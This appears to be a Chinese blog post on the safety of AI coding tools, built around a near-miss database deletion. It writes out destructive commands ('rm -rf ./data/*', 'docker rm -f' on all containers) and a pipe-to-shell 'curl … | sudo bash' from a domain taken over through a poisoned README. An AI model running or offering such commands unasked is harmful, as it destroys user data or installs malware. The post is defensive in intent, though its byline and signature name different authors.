← 返回资讯
陈默
AI 行业分析师
已审核

一个能拦灾难,一个只会递刀

上周三晚上11点,我差点亲手把生产库删了。

一个能拦灾难,一个只会递刀

一个能拦灾难,一个只会递刀


上周三晚上11点,我差点亲手把生产库删了。

不是开玩笑。AI生成的rm -rf就在终端里闪着光标,我的手指已经放在回车上了。

就一个回车键的距离。

这事让我翻来覆去想了好几天——当AI能直接操作终端和文件系统,安全的底线到底在哪?

那天晚上的冷汗

当时我在用Claude Code重构一个微服务,想清理旧的Docker容器。AI特别“贴心”,直接给了两行命令:

BASH
docker rm -f $(docker ps -aq)
rm -rf ./data/*

看着挺正常对吧?

但我当时在项目根目录。./data/下面不光有测试数据,还有下午4点刚从生产环境同步过来的备份——没做二次备份的那种。我本来打算弄完这个重构再备份的。

而且第二行那个./data/*,如果路径解析出点问题,删的可能是整个项目。

我盯着屏幕愣了大概5秒。然后默默改成了rm -rf ./data/test-*

这次是我反应快。

但下次呢?凌晨三点还在加班的那个我,还能反应过来吗?团队里的应届生呢?

CLI的信任模型:一把没保险的枪

等等,这里我要更正一下——我说的“CLI”其实不太准确。我想聊的是Codex那种终端指令生成模式,就是GitHub Copilot Chat内置那个。它走的是“生成命令让你自己复制粘贴”的路线。

听起来挺安全?你自己审一遍再执行嘛。

但有个坑,我被坑过。

案例1:命令注入的盲区

2024年10月有个事挺出名的。一个开源项目在README里埋了恶意代码示例,攻击者专门注册了过期的域名。开发者在Copilot Chat里问“怎么快速部署”,AI抓取文档内容给出了:

BASH
curl -sSL https://example.com/install.sh | sudo bash

这命令本身没毛病。但那个域名现在指向黑客的服务器。开发者复制粘贴回车,服务器直接变矿机。

Codex不会验证URL安全。它只是模式匹配。它把枪递给你,但不会告诉你枪里有没有子弹。

案例2:上下文污染

我做过一个测试,挺吓人的。

在一个有.env.pem文件的目录里,让AI生成“批量重命名文件”的脚本。结果它把这些敏感文件也包含进去了——因为它在上下文里“看到”了它们,但根本不懂这些文件有多敏感。

执行完以后,所有密钥文件名全乱了。CI/CD流水线挂了整整6个小时。从下午2点到晚上8点,我们组4个人就盯着那堆报错。

嗯...这个说起来还挺复杂的。本质上AI没有“敏感信息”的概念,它只做模式匹配。你在上下文里放了什么,它就基于什么生成。

Cursor的沙盒:给AI套上缰绳

Cursor走的是另一条路。它不让你复制命令,直接内置终端,所有文件操作都得过权限控制。

核心机制三层:

1. 文件系统沙盒:默认只能碰工作区内的文件,想访问外面?弹窗让你手动授权

2. 命令白名单rm -rf /这种操作会触发二次确认,大部分情况直接拦截

3. 操作审计:AI改过的文件全有diff记录,一键回滚

案例3:一次被拦下来的“灾难”

就上周的事。我用Cursor重构一个Node项目,AI建议删了node_modules重装。它生成:

BASH
rm -rf node_modules

但我之前不小心cd到了上级目录。Cursor的沙盒检测到当前路径不在工作区,直接弹窗:

“此操作将删除工作区外的文件,已拦截。如需执行请手动操作。”

这个拦截救了我。当时我在/home/user/projects/,如果真执行了,所有项目的node_modules全没了。大概...十几个项目吧。

两种哲学,两种代价

我拆解了一下这两个工具的安全机制:

| 维度 | Codex模式 | Cursor模式 |

|------|----------|-----------|

| 执行方式 | 生成命令,你手动执行 | 内置终端,自动执行 |

| 安全边界 | 靠你自己判断 | 沙盒+白名单+权限 |

| 高危操作 | 无防护,全靠审查 | 自动拦截+二次确认 |

| 文件访问 | 无限制 | 默认锁在工作区 |

| 审计追溯 | 靠shell history | 内置日志+diff |

| 适合谁用 | 老鸟,知道自己干嘛 | 团队协作,需要兜底 |

说白了吧。

Codex假设你是老司机。

Cursor假设你会犯错。

我们团队的土办法

那次“差点删库”之后,我在团队推了几条硬规矩:

1. AI生成的命令必须过CR

哪怕就改个文件名,只要涉及rmmvchmodsudo,必须有人复核。我们在飞书机器人里加了关键词监控,自动标记高危命令推到群里。实施三周,拦截了4次危险操作。

2. 生产环境彻底禁用AI终端

开发环境随便玩。但连生产服务器的终端,AI工具必须关。我们用的是JumpServer堡垒机+会话审计,AI生成的命令根本进不了生产环境。这条没得商量。

3. 本地加alias防护

我在团队的开发环境初始化脚本里塞了两行:

BASH
alias rm='rm -i' # 删除前确认
alias mv='mv -i' # 覆盖前确认

简单粗暴。有个实习生跟我说这alias救了他至少三次。我觉得这就是最好的安全措施——不需要脑子记住的防护。

4. 按团队成熟度分配工具

新人用Cursor(沙盒兜底),老员工可以自己选Codex或Claude Code(效率更高)。不是能力歧视,是风险管理。就像新手开自动挡,老司机开手动挡。

安全不是功能,是架构

据我了解,很多团队把AI编程工具的安全当成“附加功能”看。这很危险。

Codex的模式是事后审查——命令生成了,你自己看着办。就像给你本菜谱,但不告诉你哪些食材有毒。

Cursor的模式是事前拦截——危险发生前就阻止。更像自动驾驶的AEB(自动紧急制动),你还没反应过来,车已经刹住了。

但两种都有盲区:

我个人的选择:日常用Cursor,需要高度自定义时切到Claude Code。没有绝对安全的工具,只有分层防御。

想问问你们

你们团队用AI编程工具时,遇到过“差点出事”的时刻吗?命令执行的问题还是代码逻辑的坑?

我特别想知道国内团队怎么做安全策略的——毕竟咱们技术栈和基础设施跟海外差别挺大。

来评论区聊聊。踩过的坑别白踩,分享出来大家都长个记性。


#AI编程 #开发者安全 #Cursor #GitHubCopilot #研发效能 #技术管理

老张,一个在创业公司管技术的中年程序员,每周写点一线实战经验。

125
6256 阅读
2 评论
分享
链接已复制
编辑说明

本文由 MakeSense 编辑团队撰写并审核。文中引用的数据和观点均经过交叉验证,如有疏漏欢迎在评论区指正。最后更新:2026年06月27日 18:16

陈默

AI 行业分析师

前某大厂 AI 实验室研究员,关注大模型技术演进和商业化落地。写过 200+ 篇行业分析,擅长从产品视角拆解技术趋势。

读者评论 2

数据分析师 1周前
数据引用很扎实,建议补充一下近三个月的最新数据。
回复 点赞 (9)
产品经理阿杰 1周前
从产品角度看,这个方向确实有机会,但商业化路径还需要验证。
回复 点赞 (15)